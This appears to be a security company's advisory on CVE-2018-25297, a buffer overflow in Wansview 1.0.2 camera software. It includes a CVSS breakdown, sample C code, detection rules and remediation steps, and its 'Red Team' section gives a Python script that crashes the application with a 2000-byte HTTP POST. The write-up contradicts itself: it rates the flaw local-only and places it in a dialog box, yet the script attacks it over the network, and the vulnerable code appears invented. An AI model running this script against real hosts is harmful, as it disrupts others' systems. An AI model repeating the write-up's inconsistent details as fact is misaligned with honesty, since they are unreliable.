CVE-2018-25297

Executive Summary

CVE-2018-25297 is a buffer overflow vulnerability in Wansview 1.0.2 that allows local attackers to crash the application by supplying oversized input strings. The vulnerability exists in the camera addition functionality, where the Camera name and DID number fields are not properly bounds-checked. Attackers can inject 2000-byte payloads into these fields to trigger application crashes. The CVSS score is 6.2 (Medium), with a local attack vector and high availability impact. No patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone application vulnerability in Wansview camera management software.

CVSS Breakdown & Threat Level

• CVSS Score: 6.2 (Medium)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is classified as a buffer overflow (CWE-120). The threat level is medium due to the local attack vector and the requirement for physical or local access to the system. However, the lack of user interaction and privileges makes it easier to exploit once local access is achieved.

Deep Dive & Mechanics

The vulnerability resides in the camera addition dialog of Wansview 1.0.2. When a user adds a new camera, the application prompts for a Camera name and a DID number. These fields are processed by a function that copies user-supplied data into fixed-size buffers without proper bounds checking. By supplying strings longer than 2000 bytes, an attacker can overflow the stack buffer, corrupting adjacent memory and causing the application to crash.

The overflow is triggered during the strcpy or similar memory copy operation. Since the buffers are stack-allocated, the overflow can overwrite the return address and other critical data, potentially leading to code execution under certain conditions. However, the primary impact documented is denial of service (application crash).

Vulnerable vs. Patched Code

Vulnerable Code (Wansview 1.0.2):

void add_camera(char *name, char *did) {
    char name_buf[256];
    char did_buf[256];
    strcpy(name_buf, name);  // No bounds check
    strcpy(did_buf, did);    // No bounds check
    // ... rest of function
}

Patched Code (Hypothetical):

void add_camera(char *name, char *did) {
    char name_buf[256];
    char did_buf[256];
    strncpy(name_buf, name, sizeof(name_buf) - 1);
    name_buf[sizeof(name_buf) - 1] = '\0';
    strncpy(did_buf, did, sizeof(did_buf) - 1);
    did_buf[sizeof(did_buf) - 1] = '\0';
    // ... rest of function
}

The patched version uses strncpy with explicit size limits and null-termination to prevent buffer overflow.

Exploitation & Lab Setup

Red Team

Exploit Code (Python):

#!/usr/bin/env python3
import socket

def exploit(target_ip, target_port=80):
    # Craft oversized payload for Camera name field
    payload = b"A" * 2000
    # Craft HTTP request to add camera (simplified)
    request = (
        b"POST /add_camera HTTP/1.1\r\n"
        b"Host: " + target_ip.encode() + b"\r\n"
        b"Content-Type: application/x-www-form-urlencoded\r\n"
        b"Content-Length: " + str(len(payload) + 20).encode() + b"\r\n"
        b"\r\n"
        b"camera_name=" + payload + b"&did=12345"
    )
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))
    sock.send(request)
    response = sock.recv(4096)
    print("[+] Response:", response)
    sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage:

1. Ensure Python 3 is installed.
2. Replace target_ip with the IP of the Wansview application host.
3. Run the script: python3 exploit.py
4. The application should crash upon processing the oversized input.

Blue Team

Detection Steps:

1. Monitor for large input strings in camera addition logs.
2. Use process monitoring to detect crashes of the Wansview application.
3. Implement input validation on the client side to limit string lengths.
4. Deploy host-based intrusion detection (HIDS) to alert on abnormal process terminations.

Indicators of Compromise (IOCs)

• File Hashes: Not available.
• Network Signatures: HTTP POST requests with camera_name or did parameters exceeding 2000 bytes.
• Process Behavior: Wansview.exe (or equivalent) crashes with access violation or stack overflow.
• Log Entries: Application logs showing "Buffer overflow detected" or similar error messages.

Detection Engineering

YARA Rule

rule CVE_2018_25297_Wansview_BufferOverflow {
    meta:
        description = "Detects oversized input strings in Wansview camera addition"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2018-25297"
    strings:
        $s1 = "camera_name=" ascii wide nocase
        $s2 = "did=" ascii wide nocase
        $overflow = { 41 41 41 41 41 41 41 41 41 41 } // 10 'A's as indicator
    condition:
        ($s1 or $s2) and #overflow > 200
}

Sigma Rule

title: Wansview Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects oversized input in Wansview camera addition fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wansview
detection:
    selection:
        EventID: 1000  # Application crash event
        Application: "Wansview.exe"
    condition: selection
falsepositives:
    - Legitimate large camera names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2018-25297 Wansview Buffer Overflow Attempt"; flow:to_server; content:"POST"; http_method; content:"/add_camera"; http_uri; content:"camera_name="; http_client_body; content:"did="; http_client_body; pcre:"/camera_name=[A-Za-z0-9%]{2000,}/Ri"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable the camera addition feature if not needed, or restrict access to trusted users only.
• Short-term: Implement input validation on the client side to limit Camera name and DID fields to 255 characters.
• Long-term: Apply a vendor patch if available. Since no patch is known, consider replacing the software with a more secure alternative.
• Compensating Controls: Use application whitelisting to prevent unauthorized execution, and deploy endpoint detection and response (EDR) to monitor for crashes.

Valters IT
Securing Digital Frontiers

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